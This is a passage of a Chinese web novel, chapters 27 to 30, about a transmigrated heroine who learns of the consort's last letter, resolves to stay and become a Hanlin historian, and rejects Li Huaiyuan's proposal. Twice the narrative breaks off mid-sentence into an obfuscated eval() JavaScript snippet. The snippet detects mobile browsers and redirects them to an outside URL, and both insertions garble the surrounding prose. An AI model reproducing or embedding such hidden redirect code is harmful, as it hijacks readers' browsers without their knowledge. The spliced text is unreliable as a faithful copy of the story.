当时抱着她,跟抱着只奄奄一息的猫儿也没多大分别,气若游丝,又小又可怜。见她似乎没了求生的意志,李怀远只觉得自己也像是没了呼吸一般,窒息难耐。 心里是既疼又气,千言万语也不足道出他冒着风雪将她抱出公主府的心情。 满脑子都是这个疯子难道要给驸马殉情吗! 一忆起当时的情景,李怀远就气不打一处来,盯着眼前取了颗蜜饯果子放进嘴里,还美滋滋回味的人,恨不得能将她捏在手里,狠狠地揉搓一遍。 三日前还要死不活的,这会儿又跟个没事儿人了似的,生命力果真不是一般的顽强。真是害他白担心一场。 边想边从窗边的玉案上取过个盒子,轻声放在榻边的小几上。 沈今禾抬了抬眼皮,从方才李怀远进屋她就注意到,他手里提溜着一个小木盒,仔细一看,是个燕尾榫卯结构的机关盒,一般不精于此道的人轻易是解不开的。 那上面残留着一些灰痕,沈今禾刚一拿在手上,就听李怀远道:“这是驸马院子里找见的。” 27.第 27 章 她手指轻轻抖了一下,心想难怪有被火燎过的痕迹。 李怀远说话时特意放轻了“驸马”两个字,见她表情没什么异样,这才继续说:“这盒子应该是为了避免被大火焚烧,所以故意被埋起来的。” 是被谁埋的,两个人都心照不宣。 “好在埋的不深,应该是想有意被人找到…再转交给你吧。” 盒子上刻着一个“稔”字。 之前打探过沈今禾在掖庭的过往,知道她和驸马交往甚密,李怀远想都不用想就明白过来这个字是什么意思。此刻看着她低头摩挲盒子上的那个字,他也不知道自己突然在不高兴什么,总之就是十分不高兴。 一个破盒子有什么好看的,能有他好看?咳不是,能有他收藏的那些金玉盒子好看?还刻个“稔”,真是龌龊老男人的小把戏! 驸马作为有妇之夫也太不避嫌了些,沈今禾竟然还拜他为师,真是瞎了那双……算了,她既心悦自己,也不能算太瞎。 沈今禾只顾着解机关盒,哪知晓就一会儿的功夫,身旁的世子已经九曲十八弯地把自己归为“眼瞎”一类。 先生精通机关术,曾在掖庭时,私下教授过他们一些机关锁的解法,这盒子是她十三岁生日那天自己学着做的,做完了又觉得怪冷清的,便用刀刻了个“稔”字。私心想着,这一世既然没人把她放在心上,那就自己把自己放在心上,冷暖自知,也没什么不好的。 须臾,只听“咔哒”一声,盒子开了。 里面赫然躺着三样东西,一本书,一封信,还有一沓厚厚的书稿。 书自然就是从公主府湖里捞上来的那本,也是连接她和原世界的载体。想起原世,沈今禾只觉得呼吸一滞,万般情绪全都涌上心头。 她好不容易有了点亮光的眸子瞬间又暗了下去,李怀远都不知道该骂谁了,只见她颤颤巍巍地展开书信,一目十行地看完,紧接着脸“唰”一下子就白了。 不知道信里写了什么内容,总之她原本就毫无血气的唇色,这下愈发地失了色。 李怀远正气不打一处来,又听床榻上的人道:“世子,您可否……让我单独待一小会儿?” 顿时血气直往上涌,她竟敢赶他!她竟然敢赶他出去! 驸马的遗物就这么重要是吗?难道他杵在这里是能污染了那几张破纸不成?是谁冰天雪地里冒着手臂伤口开裂的风险把她抱回来的?没良心的东西…… 他边往外走,边劝慰自己,罢了罢了,不能和病人一般计较,人生了病就是容易不正常,更何况是沈今禾那种原本就不大正常的人。 陵光见自家世子脸上笑嘻嘻地见了飞琼阁,又十分不嘻嘻地走了出来,急忙上前问道:“世子,是不是今禾的病情又加重了?” 李怀远把地上的积雪踩得咯吱咯吱作响,听罢头也不回道:“对,她死了。” 陵光:“……” 脚步声渐行渐远,沈今禾拢了拢搭在身上的披风,边将盒子里的东西尽数往外倒,边哆嗦着看向系统:“你在本书内,再再搜一次李怀远。” 系统虽觉得她蹦出来的这句话有点莫名其妙,但还是照做了。 几乎同一时间,此前他们看过的那两段话就赫然出现在屏幕上。 “还是这两段啊,没什么变化。”系统道。 “你再仔细看……”沈今禾抬手将屏幕往下一拉,那多出来的两行字直让系统退了好几步。 系统大惊:“怎么会!这本书明明早就出版,不能更改的!” 沈今禾原来所在的世界,是一个穿书体系高度发达的时空,因此各项规定的执行也都十分严格与完善。 像这种完结已出版的书目,如果穿书者是被迫进来接受惩罚的,那就绝不允许更改剧情。 就比如说《酷吏》这本书里,有一种酷刑是要足足凌迟一千刀才能让人断气,如果犯了法的人穿进书里受罚,那他是没有办法要求行刑者一刀就把他砍死的,九百九十九刀也不行。 因为一旦他做出与原剧情不符的举动,系统就会自动发起矫正,迫使穿书者的行为轨迹保持原书的模样。 所以新加的那两句话让系统有点毛骨悚然,尽管从全文的主线剧情来看,那是一句无伤大雅的话…… 原书中,在三皇子启程回都时,关于李怀远的剧情,到【李怀远道:“三皇子保重。”】这里就结束了。 可现在再去搜索,后面却明晃晃地加了一句: 【三皇子看向李怀远身后这个小仆从,只隐隐觉得此人非池中物,却未曾料想,这位就是日后名动天下的翰林女官。】 系统震惊之余,又托着腮帮子若有所思:“说起来…这个也不算更改,只是后面加了两句话而已,完全不影响主线剧情啊,难道是作者无聊到专门去勘误,重新加上一句无伤大雅的话?” 沈今禾沉默着不说话,垂下来的一绺发丝盖住了她的神色,她用指尖点了点那封信,难以言说地闭上了眼。 系统定睛去看,那是一封驸马的绝笔信,乍一看普普通通,可它越往下读屏幕抖动得就越厉害。 不待看完,就猛吸一口凉气,一脸不可思议道 :“这句话是驸马加上去的?!怎么可能……” 只因那封信里明明白白地写着: ……今禾,惟愿你莫怨我擅作主张,未曾与你商议便一意孤行,私写你的命谱。起初我并不知晓这本天书的用处,每每着墨于书上,不待墨迹干透,那字便已消失不见。 后幸得神女提点,方知需用指尖血书写才能留存,既是天书,想必我写上去的亦能实现。我自知此生愧于君父,忠孝难全,不愿再苟活于世,遂将一身志向托付与你。 我知你有鸿鹄之志,亦有文士之风,奈何书中惟余一处空白,写不得几笔便罢,昱自愧语之不精,只能为你添注一句,遥祝你终得一日拜谒翰林,化鲲成鹏。 系统张大了嘴巴,半晌都没能合上。 “你再往下看,还有更荒诞的。”一旁的沈今禾,显然已经无法用言语来形容自己这操蛋的心情了。 “这、这、这……”看到后面的话,尽管系统没有头皮,可它还是觉得自己瘆得头皮发麻。那信上写道: ……神女不知从何而来,日初出时降临鄙院,半盏茶后又匆匆而去,只知其名,曰蒋菁媱。 “蒋、蒋菁媱?!”系统登时大叫道:“那不是你原世界那个姐姐吗?她也穿到了这本书里?!” “我C了!我受不了了,这太魔幻了。”系统终于没忍住骂了句脏话,又是抓脑袋又是在锦被里打滚:“到底是谁疯了,谁疯了啊,是组织还是你那个姐姐,还是说,这一切只是驸马的一场梦而已!” “你先冷静点。”沈今禾揉了揉眉心。 明明最一开始,遇到和穿书有关的事都是她咋咋呼呼,而系统每次都老父亲一般,又是劝慰又是出主意。 现在怎么反倒变成她淡定了。 沈今禾正色道:“你立即给穿书组织上报,就说蒋菁媱极有可能也进了这本书里,目前尚不明确她的目的是什么,让他们迅速将其召回。” 她又不是进来接受惩罚的,想必可以强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14354285|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制召回。 话音刚落,消息就已经发了出去。这次竟然没隔多久,那边就有了回信,而且还是高层回的。 “蒋小姐您好,我是穿书组织的总负责人,信件已收到。我们一定竭尽全力,在最短的时间内召回该名嫌犯并依律处置,请保持联络畅通。另,嫌犯失踪多日,疑似已进入本书多年,请务必保持警惕。” “此外,很遗憾地通知您,在您未达成【任务100%完成】之前,系统尚未研发出可让您回归的方法,为保证您的安全,请尽快完成剩余任务。” 说了一大堆,等于什么都没说。 系统又是无奈又是愤慨:“你自己不睁开眼看看吗,特么的,什么破任务啊!你们轻飘飘一句刺杀就完事了,怎么书中的人就不是人了?人家不是娘生爹养的?高贵什么啊我C!” 这世间,本就有人喜欢站在高山之巅俯瞰蝼蚁,熟不知芸芸众生,皆是蝼蚁。天外自然还有天,人也好,别的什么也罢,都别太把自己当回事才好。 沈今禾让系统又发了一条消息过去,这次是群发给所有渠道,总系统,组织高层,包括警方。言明既然确定了她被困在此处十八年是被人害的,那就请正面答复对当事人的补偿措施是什么。 过了几天,穿书组织在重重压力之下,终于给出了一个令人满意的答案。 “对于您的遭遇我们深感抱歉,现做出如下补偿:在不违反法律及组织力所能及的情况下,将无条件许您三个诺言。” 系统啪啪打字:“更换任务。” “抱歉,无法更换。” “那修改人物设定,将李怀远改成即将行刑的死刑犯?” “抱歉,无法修改。” 此时正在书房协理公文的李怀远:“阿嚏!” 这也不行,那也不行,系统欲怒摔屏幕,复一想,这屏幕本就是和自己融为一体的,摔了它不就是摔自己吗,于是又恼怒地叹了口气。 缓了这几天,沈今禾的头脑清醒了许多,沉吟道:“其实蒋菁媱来书里,反倒是个好事情。” 系统大概明白她想说什么,接道:“也对,她要是还在原世界,指不定还能干出什么事来,毕竟那边是一个高于这里的维度,她之前都能切断连接你和原世界的载体,说明本事不小。” 可这里不一样,这儿就是作者笔下一个完整的古代世界,她来这里,就得遵从古代的生存法则。 沈今禾连安乐都不怕,又怎么会怕一个什么都不懂的现代人,除非她穿成皇上。 “你可别乱说啊。”系统急得连连跺脚,“万一她真的穿成皇上了怎么办?” “那可太好了,皇上不是中毒快死了吗?” “……” “别开玩笑了。”系统露出一抹担忧的神色:“我们得赶紧把这个人揪出来,否则她在暗处,你在明处,多危险啊!” “也没准她还没找到我。” “怎么可……”系统一顿,随即两手一拍:“对啊,你在这个世界上的身份也是换过的,世人只知你是沈今禾,却没人知道实际你是永州那个……” 说到一半,它的声音戛然而止,知道沈今禾一向不喜欢提起永州之事,它也就没再往下说。 沈今禾笑着摸了摸屏幕,一扫眼前的乌霾,穿上袄子,掀开珠帘,径直朝书房去了。 书房内燃着香炉,案几各处都铺着软茵。 李怀远想事正想得出神,一抬头,便从窗棱的间隙处看见一抹亮眼的身影朝此处走来。顿时回过神,心道,这喷嚏真是神了,还真有人想他啊。 28.第 28 章 沈今禾推开门,行过礼,就坐在他对面的软茵上,整个人瞧着还是病恹恹的,耷拉着脑袋,不似往日那般灵动。 李怀远见状眉心微蹙,让人将炭火搬至她身侧,边低着头写折子边道:“你要是还没好利索就回去歇着,这里又不差你一个。” 沈今禾充耳不闻,抿了抿干瘪的嘴唇,笑盈盈道:“您在写什么?我来研墨吧。” “你……”李怀远抬起眼皮,上下打量她:“你不对劲。” “我哪有什么不对劲,整日憋在屋里闷得慌,出来走走病才好的快。” 李怀远半信半疑,又听她轻轻叫了声:“世子。” 这声音有三分她平时的样子,又有三分病后的沙哑,余下的几分竟让人感觉旖旎悱恻,像猫挠似的,轻轻刮在他心头。 还没回过味儿,随即又听她笑着说:“世子幼时是在浔阳长大的吧?” 李怀远淡淡“嗯”了一声。 如今的世子府是以前老凌安王,也就是他祖父在上京的府邸,而他父亲闲云野鹤惯了,不愿来上京蹚浑水,故而一直居于浔阳城的封地,幼时那些年,他时来上京陪祖父同住,时而回浔阳将养,好在两地相隔不远,才没叫他跑断了腿。 后来祖父告老还乡,也去了浔阳封地,这座宅子便重新修整一番,留给他作世子府用了。 “突然问这个做什么?” 沈今禾道:“早就听闻浔阳三景闻名遐迩,绿萝晴昼,圭峰暮霭,梅溪风雪,此生未能一睹浔阳芳容,有些遗憾。” 对面之人哂笑一声。难怪她神情怪怪的,原来是想去浔阳又不好意思说。 “你才多大年纪,就敢用上‘此生’这个词了。”李怀远大手一挥,语气轻松得就像是在说“用膳吧”:“这有何难,等忙完了这阵子,寻个机会带你去就是了。” “真的?”沈今禾虽然没抱什么希望,可蓦地听他这么一说,还真有点心动。 “自然是真的,我又不是你。”李怀远揶揄道:“我不会骗人。” “……” “等你去过就知道,浔阳城可比上京有意思多了。”说起浔阳,他朗目微微发亮。 “尤其是过年节的时候,虽比不得上京奢华,取乐的方式却很多,寒林祈福、古寺撞钟,天河放花灯,云门作谜题,王府里也会准备很多雅致的节目,那一日不设规矩,府里上上下下都可在一处欢笑弄堂……” 听他眉飞色舞地描绘着过往,就好像走入了一幅他幼时的精彩画卷之中,那些美好的、灵动的回忆,一卷一卷地映在眼前,不似沈今禾幼年的暗淡,李怀远的记忆里色彩鲜明,就如同他鲜明的生命一般。 是啊,他是大郅守卫皇城的禁军统领,是凌安王与王妃放在心尖上的嫡长子,是府内众人的仰仗,也是李怀远自己,是那个银鞍照白马、飒沓如流星的潇洒玉面郎。 如此活生生的一条性命,让她如何狠心去杀呢? 由着她侍了会儿墨,李怀远最终还是把她赶出了书房回飞琼阁养病。 沈今禾坐在小轩窗前发了会儿呆,又从机关盒里拿出驸马留给她的书稿,一张一张地翻看…… 王昱曾一心想做太史令,为天下名士正名,这书稿中有一位百年前含冤而死、叫瞿广的将军,他曾寻访各地,搜集其人遗闻轶事,希望能引用详实的史料,追本溯源地为他撰写真实的生平。 书稿只完成了一半,中间还有很多空缺仅是王昱个人的猜测,没有证据佐证,就无法公之于众,叫后世看到历史的真相。 历史上还有许多这样的人,被污名化,被史料扭曲,被后世误解,真相就这么永远被淹没在滚滚长河之中,无人知晓。 沈今禾自知力量微弱,却也想救一救这些人,哪怕只是在史册中挽回一点他们的身后名,也足以告慰亡灵。 驸马给她的那封信中,最后说道:直书其事,不掩其瑕①。君举必书,申以劝诫②。 王昱当年将此奉为圭臬,亦告诫沈今禾牢记此话。 系统落在案台上,看光影透过窗棂斜斜地落在案边的纸间,尘埃在光柱中挥舞跳跃,一个光点就好似一个蒙冤之人被救赎的秋毫,在浑厚又沧桑的历史之中为他们书写新的篇章。 它总觉得,今日的沈今禾格外地不一样。不一样到什么地步呢?直到她说了那句骇人的话。 这句话,是系统跟随无数穿书者这么多年以来,从未料想过的一句话。 只见沈今禾放下书稿,起身打开雕花槛窗,任由光芒与寒风一齐打在她身上,她背部挺拔,笔直地站着,说道: “我不走了,我要留在这里。” “进翰林,执笔修史,为这世上千千万万个王昱和瞿广留下活过的痕迹。” 系统惊掉了下巴,半晌说不出话来,良久才道:“你、你疯了吗?” “我疯的时候还少吗?”沈今禾转头笑笑,语气就像轻轻拂掉窗棱上的积雪那般自然。 系统当然不可能像她那么淡定,围着她来回转圈圈,嘴里念叨着:“完了完了,一定是被人夺舍了,这个家伙绝对不是沈今禾。” 然后指着沈今禾的额头大叫一声:“退!退!退!不管你是谁,我命令你从沈今禾的身体里出去!” 沈今禾拍掉它的爪子,一本正经地看向系统。 “十八年,我被困在这里整整十八年了。幼时被当成物品玩弄,后来又莫名其妙被人抄家。在掖庭,我更是见证了人命贱如草芥,蝼蚁如何苟存。” “所以这些年……风雨如晦的这些年,我早已变得多疑善谋,心也越发地狠厉了,只怕是再也适应不了原来那个平和的世界。” 害她的人可真狠啊,十八载请君入局,破不破局,她都已是局中人。 “如今再看走过的这条路,其实我早就回不去了。”她的志向、她的蒸蒸事业,她的希望,全都在这里了。 “最后那个任务我就不做了,现在李怀远与静文公主之间没了阻碍,终于可以修成正果,两人日后…举案齐眉,也许会成为一段佳话也说不定。何况你说过,书中之人也是娘生爹养的,活脱脱一条命,我怎能随意杀得?” 李怀远正如日之升,终会岁岁无虞,儿孙绕膝。而她,自有她的路要走。 系统知道沈今禾对李怀远多多少少是有些情意的,但更知道她一叶孤舟行于大海,是万万不敢将前尘往事、往后图谋一并交付给李怀远,纵然李怀远瞧着也对沈今禾有几分垂爱,但人心毕竟难测,何况沈今禾还骗他如此之久。 想到此处,只觉得沈今禾心里指定也不好受,便又开始“啪嗒啪嗒”地掉起眼泪。 …… 陛下刚经历太子之事不久,又逢皇后谋逆,哀莫大于心死,终是油尽灯枯,没撑得了几天就驾崩了。 相王登基,改年号为永昌。 天下大定,万物复苏,朝野秩序重新建立,几家欢喜几家愁。不过要说最欢喜的,还要属世子府的人,只因李怀远深得新帝器重,一时间艳煞旁人… 但从龙之功这个东西,朝夕间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365933|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又安能知是祸是福。 这天,宫里传来消息,宣沈今禾入宫受赏,这是她早就料到的事情。也多亏了李怀远提点,此刻她站在大殿中央才不至于晕头转向。 只见九天阶上的金銮玉座坐着凤表龙姿的君王,他微微颔首视下,一侧的内侍便开始宣读圣诏: “凌安王世子府沈今禾,守正忠义,智睿有方,于危难间以安社稷,朕嘉先圣之道,赏至材。量能以授封,同赐黄金百两,以彰其德。” 大殿两侧的朝臣皆道陛下圣明,永昌帝端坐在上位,先是看了一眼李怀远的位置,随即又看向大殿中央,只见沈今禾敛衽而拜,深吸一口气道: “回陛下,身外之物并非民女所求。” 此一句,是与初见李怀远时一模一样的答话。 永昌帝又瞥向李怀远,一副看热闹的语气:“哦?你想要什么嘉赏,但说无妨。” 按理说,赏赐一个没有官职或诰命在身的平头百姓,直接令内官一封圣旨送去即可,就算祖上积了德,也最多就是在御书房一睹天子真容,像这般隆重的在早朝受赏,还是很少见的。 此前李怀远也一直只当是朝议过后,要宣沈今禾去御书房的,直到她进了大殿,他这才反应上来,陛下这是存了心要看他的笑话了。 而于沈今禾来说,御书房也好,茅草屋也罢,如今她终于可以堂堂正正地说出那句话了。 她叩拜于地,铿锵有力的声音回荡朝中:“臣女想入翰林,秉笔直书,编撰史册,为我大郅鞠躬尽瘁,尽献绵薄之力。” 永昌帝登时一愣。 他早先听李怀远说过他二人之事,只当她会求个上得了台面的封号,更有甚者大胆些求个赐婚,却断断没想到,她会求取官职,要知前朝这条路对女子来说,明枪暗箭,可不是那么容易走的。 李怀远此时就站在她身侧,听罢身子似乎有些站不稳,只不可思议地盯着她。 见状,永昌帝心里一喜,前日这个人当着三公的面驳斥自己的事还没算,正憋了一肚子气,现下看他吃瘪,不觉暗爽一番。又思我朝人才辈出,女子亦有如此胸襟,心里更是开怀。 于是慈笑道:“善。” 这下李怀远的脸更青了,下了朝,头也不回,招呼也不打,径直就钻进了马车里。 隔着厚厚的车帘子,沈今禾硬生生空着腹饮了一大口酒,这才壮了胆,硬着头皮上了马车。 她想起昨日夜里,与李怀远对坐在西府海棠树下的场景。 那棵花树只当是成了精,大雪消融过后,太阳一出,它又开始兀自开放,一朵朵,一簇簇,铺满整个庭院。 当时李怀远笑问:“明日受赏,想好要什么了吗?” 沈今禾抿着嘴没说话,只是低头笑笑。李怀远有些不高兴地点了点她的眉心,不自然地咳了一声,“不是十分爱慕本世子吗?那不如求个那什么……赐婚什么的。” 最后几个字他说的模糊不清,可沈今禾还是清楚地听见了。 月朗星稀,清辉洒满院落。那一刻好像突然有什么东西在她心底生了根,但她不敢叫它发芽。 李怀远说,此事不得由他来求,本已功高盖主,再不掩其锋芒,容易遭人忌惮。所以当初功臣挨个受赏之时,李怀远只是说道: “尽忠报国,乃是为人臣子的本分,臣无私欲,亦不加官,但求陛下善待先帝之后与妃,以彰陛下圣德。” 永昌帝大喜:“准了。” 但李怀远死都没想到她求的是这个…… 29.第 29 章 他私自替她开脱,心想或许是她猝然被召入殿,在朝堂上露了怯,才胡乱诌了几句,再说她一介女子,怎好当着文武百官的面直抒胸臆。 可转念又一想,她既然被吓得晕了头转了向,又怎么敢明目张胆地向陛下要封官,那句话怎么看都不是临时起意,倒像是蓄谋已久。 当时她虽跪拜在地,脊背却挺得笔直,双眼像两颗熠熠生辉的星辰,闪烁着动人的光芒。 也许自始至终,她都没想过要回应自己的话。 马车悠悠地往前跑,车檐上的玉珂叮当作响,两人相顾无言。 系统飘在李怀远的头顶上空连连拍手叫好,说出的话看似没心没肺,实则是为了宽慰沈今禾:“气死李怀远,他倒是想得挺美,还想鱼和熊掌兼得,你跟静文一个都不落,呸。回头封了官我们就收拾东西离开世子府,白月光梗我们可不沾染。” “……” “你是不是有事瞒着我?” 李怀远面目憔悴,那双桃花眼角氤氲出一点红,半晌才开口。 沈今禾心头一跳,想说我瞒着你的事何其多,只是一件都不敢往外说,只垂着头道:“求取官职是为了延续祖父遗志,维系沈家书香世家的名声。” 想了想又道:“我知世子最重恩情,因我替您挡过一箭,便想着娶我过门。但我更知您对静文公主的心意,此情天地可证,怎能不令我动容。” “不是这样的。” 原来她是在担心这个…李怀远神情稍稍一松,急忙解释:“我与静文,皆为世人误传,我们从未有过半分男女之情。” 沈今禾猛地抬头看他,身子一颤,在心里默道,老天,你是在逗我吗?! 如果说在此之前还能拿静文当盾牌,说自己实在不愿介入他二人的感情,只能忍痛退让,由此抽身离去,那或许她和李怀远日后还能心平气和地相见。 可他若是诚心诚意地解释了原委,自己又该找什么借口拒他于门外。 李怀远没看她,自顾自道:“静文大我几岁,自幼时起,便文韬武略不输男儿。我同静文,还有严稷,算是知己,原本他们二人两情相悦……不料几年前,一道和亲的圣旨突然降下,真是宛如天打雷劈。” 沈今禾道:“当初不是传言,公主是主动要求和亲……” “西凉苦寒之地,若不是被“国之大义”四字所困,谁会真的甘心去和亲?当时静文问先帝,凭什么皇子报国可以理政,可以厮杀疆场,而公主却只能通过和亲展现心中大义?” 是啊,凭什么呢?沈今禾眨了眨睫毛。 “当时年轻气盛,我和严稷即刻商议,等和亲队伍进入西凉境内,就设计让静文假死出逃,再将此事嫁祸给西凉。于是我先假意在京中劫亲,为的就是被我父亲扣押回府,由此一来,所有人都以为我关了禁闭,郁郁寡欢地在府里养伤。” 难怪这些年,京中一直盛传李怀远对静文公主情之深切。 “其实当时,我早已与严稷混在和亲队伍中等待行事。” 沈今禾诧异:“您是说…那位大名鼎鼎的威北将军严稷?”镇守边关三大名将之一,严氏一族的掌权者严稷。 “是他。”李怀远若有所思,好像他说的就像是上辈子的事。 “此事原本静文不知,她是心甘情愿待嫁的。谁知路途之中不知何人走漏了风声,一天静文突然闯入营帐,红着眼指责严稷不忠不孝,两人大吵一架,从此恩断义绝。后来静文独自去完成了与西凉的和亲,严稷也远走边关,再未回都。” “那您呢?”沈今禾想,李怀远好歹也是主谋之一,静文公主难道就一点都没有怪罪他? “我比他们俩都小几岁,静文自然以为是严稷出的主意。” “……” “后来过了几年,我才无意得知,此事是皇后在背后推波助澜。静文公主作为战和的棋子,皇后绝不允许她生出什么事端,故而用严家全族的名声威胁了静文。” 也是,武将世家向来把“忠君爱国”的名声看得比什么都重,担不得半句污名。 “所以此次静文回大郅,我对外宣称其暂居世子府中,目的就是为了混淆视听,不让皇后找到静文,否则她定会用她要挟威北军投靠她麾下。” “您是说,静文公主回上京只是个幌子,实际上她并不在世子府?” “没错,世子府那个所谓的‘公主’,实则是禁军假扮的。” 难怪从寻芳阁回来的那日夜里,她和叶绥会听见偏殿的打斗声,原来皇后欲掳走静文是为了要挟威北将军,而不是李怀远。 “那她去了哪里?” “你知道严稷镇守的是何处的边关吗?” “居庸关……”西凉入大郅的必经关卡。 原来如此! 系统听沈今禾一说,简直要被这位名震天下的将军可歌可泣的爱情感动死了,眼泪直流:“严稷你别太爱了呜呜呜。” “……” 面对突如其来的变故,沈今禾扶额,一时不知该说什么好,只盼着李怀远不要把话挑得太明了。正想着,就听头顶轻轻开口,声音清凌凌的,犹如温泉流淌。 “此前世道太乱,皇后盯得又很紧,我不好表明心意,怕给你招来杀身之祸。但娶你…并非因你挡箭,我李怀远倒还不至于以身相许去给人报恩。” 深邃的眼眸望向沈今禾,李怀远表面看似镇静,实则深藏在袖中的掌心已微微蓄了一层细汗。东市沿街的叫卖声此起彼伏,酒肆桂花酿十里飘香,可他全部都听不见也闻不见,只定定地看着眼前之人。 他从没有向人表明过心意,不知道这事儿原来是如此地磨人心神,轻不得,也重不得。 遂只得故作轻松地说:“算了,不是御赐就不是御赐,只要我们两个同意这事便作数了,大不了再让我爹去陛下跟前求一次,弄个金玉良缘之类的牌子回来,就挂在飞琼阁的门匾上,你看如何?” 沈今禾只觉得此时喉咙干涩到生疼,仿佛心都要滴血了,进世子府、替他挡箭是为了完成系统任务,也为摆脱奴籍,当初冒险去偷皇后一党的名单、给相王传信,也只是想要借此机会博一个前程。 思来想去,好像除了挂在海棠花海里的那句“望世子安”,竟桩桩件件都不是为他做的。 “你有没有在认真听我说话?”忽而,一阵清冷的雪松香向她袭来。 沈今禾心里发紧,似乎有什么东西在里面来回翻腾,她嘴唇微微动了动,明明惯会能说会道,此时却怎么也开不了口,腹有千卷,笔下生花,竟无一句可以用到当下。 她心里清楚,骗他如此之久,如今事成,远离他才是上上之策,若骗了人家还上杆子的给人家做夫人,那么有朝一日东窗事发,只怕李怀远会提着刀来杀她吧。 不如就此作别,前尘往事一并揭过,以后成了那君子之交淡如水的同僚,见着了没准还能寒暄两句,相安无事。< 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待他背影彻底消失在街巷之中,系统这才小心翼翼地问: “既然李怀远解释清楚了他和静文公主之间并没什么,你为什么还是要拒绝他呀?” 说罢又想起来,自己之前对沈今禾的做法明明是万分赞同的,不由得转了话锋:“其实吧……抛开静文不谈,这么久以来,李怀远对你也挺好的,你在这个世界孤苦伶仃,如果能有个依傍,也是个好事情啊。” 沈今禾一直跪坐着,双腿有些麻了,她换了个姿势,蜷缩着坐在角落里,整个人收拢双臂将双腿抱在怀中,闻言愣愣地看着车窗上雕刻的山水鱼雁。 良久才道:“你听说过良馀贱籍吗?” 系统摇了摇头。 “百余年前,南边有一个叫良馀的小国,被当时强大的大郅灭了国,国内士兵被俘上京城,却险些刺杀了大郅当时在位的皇帝。皇帝震怒,命人即刻处死所有良馀士兵,并发布诏令,所有良馀遗民一律打入奴籍,世代相袭。” “这和你有什么关系?” 沈今禾把下巴放在膝盖上,她的声音很轻,轻得仿佛一捏就断:“生我的那个女人,正是良馀贱籍。” “大郅《九章律》规定,良馀贱籍子女永世为奴,不得科考入仕,不得与朝臣及世家大族通婚,为逆者轻则杖打八十,重则抄家灭族。” 系统从来都不知道这个事,它来这个世界时沈今禾已经长大成人,虽然它翻书似的匆匆过了一遍她的过往,可那时毕竟如观书中之人,即便窥探一二也很难感同身受。 如今听她漫不经心地提起前尘往事,才真是如鲠在喉,不敢去想她以前活得有多辛苦。 沈今禾原本不想告诉系统这些事,又怕它日日聒噪,唠唠叨叨地问,索性全说了。 说罢故作轻松地看向一旁怔怔的系统:“看吧,我早就说过,上位者搅弄风云,不管哪个时代,倒霉的都是像我这样的蝼蚁啦。” 这芸芸众生,从来就没有平等过。 当初荷华百思不得其解,总问她为何不想去参加科考,不是不想,是自己生来就被剥夺了这样的权利。 大郅科考历来对户籍查得十分严格,必要时还会找人佐证,待进了十三甲,户部更是要详查进士生平,以作为官员是否被录用的的考核依据。 沈今禾又怎么敢冒这样的险? 30.第 30 章 北风渐起,呼啸而至。 空中起初黑压压一片,待落了雪,反倒明净了几分。 “今冬的雪真盛啊。”沈今禾站在檐下,用手接过一片鹅毛大雪,转头对屋内的人道。 雪花纷纷扬扬,落在错落有致的房屋瓦舍之上,不一会儿,上京城的屋脊就全都染上了一层白,映着红墙寒梅,美得令人心惊。 屋里的人听到沈今禾说话,放下手里的活计也走了出来。 “这雪来的真巧。”荷华抬头望着白茫茫一片的上空,哈了一口气笑道:“你昨日刚接了封官的圣旨,今日便洋洋洒洒地落了一场大雪,真是个好兆头啊。” 她是真心替沈今禾感到高兴。眼前这个姑娘,个头不算高,肩膀也不厚实,可跟她熟识了的人都会不自觉地认为,她比那些手握权柄的男人还要厉害几分。 倒不是说可以呼风唤雨玩弄权势,也不是多谋善战到可以领兵打仗的那种厉害,荷华就是单纯觉得,眼前这个身量单薄又时时充满干劲的人,仿佛永远不会被打倒,永远心生希翼,坚韧得像是石头缝里蹦出来的翠竹,不用浇灌也能拼命成长。 她转过身理了理衣袍,朝沈今禾行了个端正的君子礼。 “祝君此去,一鸣从此始,相望青云端。” 沈今禾眼一红,心底暖洋洋的。嘴上却道:“你可别打趣我,只怕我这个芝麻小官,见了你这样手眼通天的掌事,还得狗腿地问两句女使安。” “你啊你。”荷华戳了戳她眉心。 昨日宫人来世子府宣沈今禾任职的旨意,陛下封其为七品编修,赐府邸,配仆役,速度快得甚是惊人。 想起永昌帝前日在大殿上那个看热闹的眼神,沈今禾连连按住额角,他可真是唯恐世子府不乱第一人。 果真。世子府的书房内,有一人正暴跳如雷。 “陛下这是什么意思!”李怀远将一本写废了的折子应声摔出,狠狠地砸在了门框上。 吓得陵光一个机灵,连忙提醒道:“世子,传旨的宫人还没走远呢!” 方才陛下的内侍前来传了一道口谕,大致意思是说,沈今禾是不可多得的国之栋梁,不宜久居世子府,给她赐下的府邸已经准备妥当,择日就赶紧搬离,也好尽快去翰林院报道。 “前日面圣时才求的官,昨日就颁了旨,今日就一应准备齐全了?!”李怀远嗤了一声,他怎么不知道六部的办事效率何时这么高了。 “再说年关将近,翰林院那个破地方有什么好繁忙的,非赶着今末就当值?” 陵光低着头,自是不敢答话,总不能告诉自家世子,谁叫你当着三公的面戳陛下痛处,这下被人家反将一军,反过来看你的热闹了吧。 只安慰道:“世子不如去飞琼阁与今禾作个别,日后同朝为官,没准她高升了,还能与您行个方便呢。” “我用得着她来行方便?!”李怀远只觉得心气更不顺了。 陵光道:“您或许是不用,那想想未来承袭的小世子,小郡主呢,两家人互不交恶,对后辈们总也是有益处的。” 